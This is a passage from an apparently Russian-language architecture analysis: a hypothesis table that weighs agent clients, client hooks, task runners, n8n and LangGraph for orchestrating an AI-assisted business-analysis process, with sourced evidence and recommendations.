([L54](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L54)), ADR-019 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 MCP \u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u043d\u043e \u043d\u0435 \u043a\u0430\u043a \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a ([L96](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L96)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** MCP-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 `next` \u043f\u043e\u043b\u0435\u0437\u0435\u043d \u043a\u0430\u043a \u0443\u0434\u043e\u0431\u043d\u044b\u0439 \u0432\u0445\u043e\u0434, \u043d\u043e runner \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u043d\u0435\u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u043c\u0443 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0443 |\\n140\\t| \u0413-39 | Hooks \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u043c\u043e\u0433\u0443\u0442 \u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0448\u0430\u0433\u043e\u0432 | Hook \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432: Cline \u2014 `cancel: true` ([\u043f\u0440\u0438\u043c\u0435\u0440 SDK](https://github.com/cline/cline/blob/main/sdk/examples/hooks/PreToolUse_BlockDestructive.sh)), Gemini CLI \u2014 \u043a\u043e\u0434 \u0432\u044b\u0445\u043e\u0434\u0430 2 ([hooks](https://geminicli.com/docs/hooks/)), Qwen Code \u2014 `permissionDecision: deny` ([hooks](https://qwenlm.github.io/qwen-code-docs/en/users/features/hooks/)). \u0417\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433 hook \u043d\u0435 \u043c\u043e\u0436\u0435\u0442. \u0423 GigaCode CLI hooks \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b ([\u0413-42](#\u0433-42)); hooks \u043f\u0430\u043a\u0435\u0442\u0430 Cline \u043d\u0430 Windows \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f ([\u0413-10 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-10)) | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** Hook \u2014 \u0441\u0442\u0440\u0430\u0436, \u0430 \u043d\u0435 \u0432\u0435\u0434\u0443\u0449\u0438\u0439. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0437\u0430\u043f\u0440\u0435\u0442\u0430 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 `runs/` \u043c\u0438\u043c\u043e runner |\\n141\\t| \u0413-40 | \u0421\u0440\u0435\u0434\u0430\u043c 1 \u0438 2 \u043d\u0443\u0436\u043d\u044b \u0440\u0430\u0437\u043d\u044b\u0435 runner'\u044b | \u0421\u0435\u0439\u0447\u0430\u0441 \u0438\u0445 \u0434\u0432\u0430: [`run-task.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py) \u0441 \u0433\u0440\u0430\u0444\u043e\u043c RG-BCREQ-v1 \u0438 [`run_task.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/run_task.py) \u0441 \u043e\u0434\u043d\u0438\u043c \u043e\u0442\u0440\u0435\u0437\u043a\u043e\u043c Working \u2192 Release. \u041b\u043e\u0433\u0438\u043a\u0430 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0442\u043e\u0433\u043e, \u043a\u0442\u043e \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a; \u0441\u0440\u0435\u0434\u0430 4 \u0437\u0430\u0434\u0443\u043c\u0430\u043d\u0430 \u00ab\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0439 \u0441 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438\u00bb ([ADR-019 L94](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L94)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** \u041e\u0434\u043d\u043e \u044f\u0434\u0440\u043e runner \u0432 Source, \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0435 \u0432 \u043e\u0431\u0430 \u043f\u0430\u043a\u0435\u0442\u0430; \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0430\u0434\u0430\u043f\u0442\u0435\u0440 \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0442\u0435\u043a\u0441\u0442\u044b \u0434\u043b\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 |\\n142\\t| \u0413-41 | \u041a\u043b\u0438\u0435\u043d\u0442\u044b \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u044b, \u0432 \u043d\u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043b\u043e\u0433\u0438\u043a\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 | Roo Code \u0432 \u0430\u0440\u0445\u0438\u0432\u0435, \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0432\u044b\u043f\u0443\u0441\u043a v3.54.0 \u043e\u0442 2026-05-15 ([\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439](https://github.com/RooCodeInc/Roo-Code)); \u0440\u0435\u0436\u0438\u043c Orchestrator \u0432 Kilo Code \u0443\u0441\u0442\u0430\u0440\u0435\u043b ([docs](https://kilo.ai/docs/code-with-ai/agents/orchestrator-mode)); Gemini CLI \u0441 2026-06-18 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043b\u0430\u0442\u043d\u044b\u0435 \u0438 Enterprise-\u0430\u043a\u043a\u0430\u0443\u043d\u0442\u044b ([Google](https://developers.googleblog.com/an-important-update-transitioning-gemini-cli-to-antigravity-cli/)); Cline v4 \u0441\u043c\u0435\u043d\u0438\u043b \u0438\u043c\u0435\u043d\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u0438 hook \u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b \u0438\u0445 \u0443\u0437\u043d\u0430\u0432\u0430\u0442\u044c ([\u0413-11 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-11)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c.** \u0412\u0441\u0451, \u0447\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0436\u0438\u0442\u044c \u0441\u043c\u0435\u043d\u0443 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u0436\u0438\u0432\u0451\u0442 \u0432 Source \u0438 runner |\\n143\\t| \u0413-42 | \u041f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 GigaCode CLI \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b | \u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 GigaCode \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u044b IDE ([gitverse](https://gitverse.ru/features/gigacode/install/)); CLI \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u043f\u043e \u0430\u043d\u043e\u043d\u0441\u0443 \u0432\u043e \u0432\u0442\u043e\u0440\u0438\u0447\u043d\u043e\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0435 ([seonews](https://m.seonews.ru/events/sber-predstavil-gigacode-cli-ii-razrabotchik-teper-rabotaet-iz-komandnoy-stroki/)); \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0430 hooks \u043f\u0435\u0440\u0432\u043e\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 | \u041d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e | \u041d\u0438\u0437\u043a\u0430\u044f | **\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c** \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435: \u0432\u0435\u0440\u0441\u0438\u044f, hooks, \u0437\u0430\u043f\u0443\u0441\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u0431\u0435\u0437 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f |\\n144\\t| \u0413-43 | \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 runner \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e | \u0421\u0440\u0435\u0434\u0430 2 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API ([ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md)); \u043a\u043b\u0438\u0435\u043d\u0442 OpenAI \u0434\u043b\u044f Python \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 `base_url` ([openai-python](https://github.com/openai/openai-python)). \u0412 \u0441\u0440\u0435\u0434\u0435 1 API Mango AI \u043d\u0435\u0442 ([issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615)). \u0421\u0435\u0442\u0435\u0432\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0441\u044f | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c** \u0434\u043e\u0441\u0442\u0443\u043f \u043a endpoint Mango AI \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0434\u043e \u0432\u044b\u0431\u043e\u0440\u0430 \u0441\u0440\u0435\u0434\u044b 4 |\\n145\\t\\n146\\t### \u0417. \u0421\u043b\u043e\u0439 3: \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\\n147\\t\\n148\\t| \u2116 | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 | \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0421\u0442\u0430\u0442\u0443\u0441 | \u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c | \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f |\\n149\\t|---|----------|----------------|--------|-------------|--------------|\\n150\\t| \u0413-44 | n8n \u2014 \u0431\u043e\u043b\u0435\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 | \u0417\u0430: \u043f\u0430\u0443\u0437\u044b \u043d\u0430 \u0434\u043d\u0438 ([\u0413-46](#\u0433-46)), OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 ([\u0413-45](#\u0433-45)), \u0444\u043e\u0440\u043c\u044b, \u0447\u0430\u0442, Jira, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Server ([Jira](https://docs.n8n.io/integrations/builtin/credentials/jira.md)), Git ([docs](https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-base.git.md)). \u041f\u0440\u043e\u0442\u0438\u0432: \u0433\u0440\u0430\u0444 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 n8n ([\u0413-47](#\u0433-47)); Python \u0432 \u0443\u0437\u043b\u0435 Code \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438 ([Code](https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-base.code.md)); \u043f\u0430\u0440\u0441\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0433\u043e \u0432\u044b\u0432\u043e\u0434\u0430 \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 `$ref` ([docs](https://docs.n8n.io/integrations/builtin/cluster-nodes/sub-nodes/n8n-nodes-langchain.outputparserstructured.md)), \u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u043f\u0430\u043a\u0435\u0442\u0430 \u043d\u0430 \u043d\u0451\u043c \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u044b; \u0443\u0437\u0435\u043b Confluence \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f Cloud ([docs](https://docs.n8n.io/integrations/builtin/app-nodes/n8n-nodes-base.confluence.md)); \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 ([\u0413-48](#\u0433-48)) | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** n8n \u2014 \u043a\u0430\u043a \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0439 \u0438 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u043f\u043e\u0432\u0435\u0440\u0445 API runner (\u0412-7), \u043d\u0435 \u043a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 |\\n151\\t| \u0413-45 | n8n \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u044c\u044e \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 | \u0423\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 OpenAI \u0432 n8n \u0438\u043c\u0435\u044e\u0442 \u043f\u043e\u043b\u0435 `Base URL` ([\u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434](https://github.com/n8n-io/n8n/blob/master/packages/nodes-base/credentials/OpenAiApi.credentials.ts)); \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044f \u043d\u0435\u0442. \u0420\u0430\u0431\u043e\u0442\u0430 \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0442\u0435\u043b\u044f \u00abUse Responses API\u00bb \u0441 `/chat/completions` \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** \u0414\u0435\u0440\u0436\u0430\u0442\u044c Responses API \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u043c; \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430 \u0441\u0442\u0435\u043d\u0434\u0435 |\\n152\\t| \u0413-46 | n8n \u0443\u043c\u0435\u0435\u0442 \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u0430\u0443\u0437\u0443 \u0434\u043d\u044f\u043c\u0438 | \u0423\u0437\u0435\u043b Wait \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u043f\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438, webhook \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0435; \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0434\u043e\u043b\u044c\u0448\u0435 65 \u0441 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0431\u0430\u0437\u0435 ([Wait](https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-base.wait.md)); \u0447\u0430\u0442 \u0443\u043c\u0435\u0435\u0442 \u00abSend and Wait for Response\u00bb \u0441 \u043a\u043d\u043e\u043f\u043a\u0430\u043c\u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f ([Chat](https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-langchain.chat.md)) | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c** \u043a\u0430\u043a \u043a\u0430\u043d\u0430\u043b \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u0412-7 |\\n153\\t| \u0413-47 | \u0412 n8n \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0418\u0418-\u0443\u0437\u043b\u043e\u0432 | \u0423\u0437\u0435\u043b AI Agent: \u00abthe agent decides which tools to call\u00bb ([docs](https://docs.n8n.io/integrations/builtin/cluster-nodes/root-nodes/n8n-nodes-langchain.agent.md)). \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u2014 Basic LLM Chain \u0441\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u0432\u044b\u0432\u043e\u0434\u043e\u043c \u043f\u043b\u044e\u0441 \u0443\u0437\u043b\u044b \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f ([docs](https://docs.n8n.io/integrations/builtin/cluster-nodes/root-nodes/n8n-nodes-langchain.chainllm.md)), \u043d\u043e \u0442\u043e\u0433\u0434\u0430 \u0433\u0440\u0430\u0444 Source \u0440\u0438\u0441\u0443\u0435\u0442\u0441\u044f \u0432\u0442\u043e\u0440\u043e\u0439 \u0440\u0430\u0437 \u0432 JSON n8n ([\u044d\u043a\u0441\u043f\u043e\u0440\u0442](https://docs.n8n.io/build/manage-workflows/export-and-import.md)) | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** \u041d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c AI Agent \u0434\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430; \u0433\u0440\u0430\u0444 \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432 Source |\\n154\\t| \u0413-48 | n8n \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0440\u044f\u0434\u043e\u043c \u0441 Jira \u0438 Confluence \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043c\u0435\u0440 \u0437\u0430\u0449\u0438\u0442\u044b | CVE-2026-21858, CVSS 10.0, \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 ([Rapid7](https://www.rapid7.com/blog/post/etr-ni8mare-n8scape-flaws-multiple-critical-vulnerabilities-affecting-n8n/)); \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u041a\u0430\u043d\u0430\u0434\u044b ([AL26-001](https://www.cyber.gc.ca/en/alerts-advisories/al26-001-vulnerabilities-affecting-n8n-cve-2026-21858-cve-2026-21877-cve-2025-68613)); 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\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u0441 Git, SSO \u0438 \u0436\u0443\u0440\u043d\u0430\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432 Community \u043d\u0435\u0442 ([\u0444\u0443\u043d\u043a\u0446\u0438\u0438 Community](https://docs.n8n.io/deploy/host-n8n/community-edition-features.md)), \u0442\u0430\u0440\u0438\u0444 Business \u2014 667 \u20ac \u0432 \u043c\u0435\u0441\u044f\u0446 ([\u0446\u0435\u043d\u044b](https://n8n.io/pricing/)) | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u0411\u0435\u0437 Git-\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0436\u0438\u0432\u0443\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 Source \u2014 \u044d\u0442\u043e \u0434\u043e\u0432\u043e\u0434 \u0437\u0430 \u0412-7, \u0430 \u043d\u0435 \u0412-6 |\\n156\\t| \u0413-50 | \u041f\u043b\u0430\u043d n8n \u0438\u0437 \u043c\u0430\u044f 2026 \u0431\u044b\u043b \u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 \u043f\u043e \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f\u043c | \u042d\u0442\u0430\u043f 4 \u00abn8n-\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0446\u0438\u044f\u00bb ([L275-L283](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-rag-mapping-roadmap.md#L275-L283)) \u0438 \u0443\u0437\u043b\u044b n8n \u043f\u043e \u044d\u0442\u0430\u043f\u0430\u043c ([L425-L437](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-requirements-lifecycle-uncertainty.md#L425-L437)); \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `M4` n8n \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 ([L191](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L193)); \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c.** \u0418\u0434\u0435\u044f, \u0441\u043d\u044f\u0442\u0430\u044f \u0431\u0435\u0437 \u043e\u0446\u0435\u043d\u043a\u0438, \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u2014 \u043a\u0430\u043a \u0441\u0435\u0439\u0447\u0430\u0441. \u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u043c \u043d\u0443\u0436\u0435\u043d \u0442\u0440\u0438\u0433\u0433\u0435\u0440 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 |\\n157\\t| \u0413-51 | LangGraph \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0432 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u043c \u043a\u043e\u043d\u0442\u0443\u0440\u0435 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e | \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u2014 MIT ([LICENSE](https://github.com/langchain-ai/langgraph/blob/main/LICENSE)), \u043f\u0430\u0443\u0437\u0430 `interrupt()` \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435 `Command(resume=\u2026)` ([docs](https://docs.langchain.com/oss/python/langgraph/interrupts)), \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0432 Postgres ([persistence](https://docs.langchain.com/oss/python/langgraph/persistence)). LangGraph Server \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043a\u043b\u044e\u0447 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 \u0438 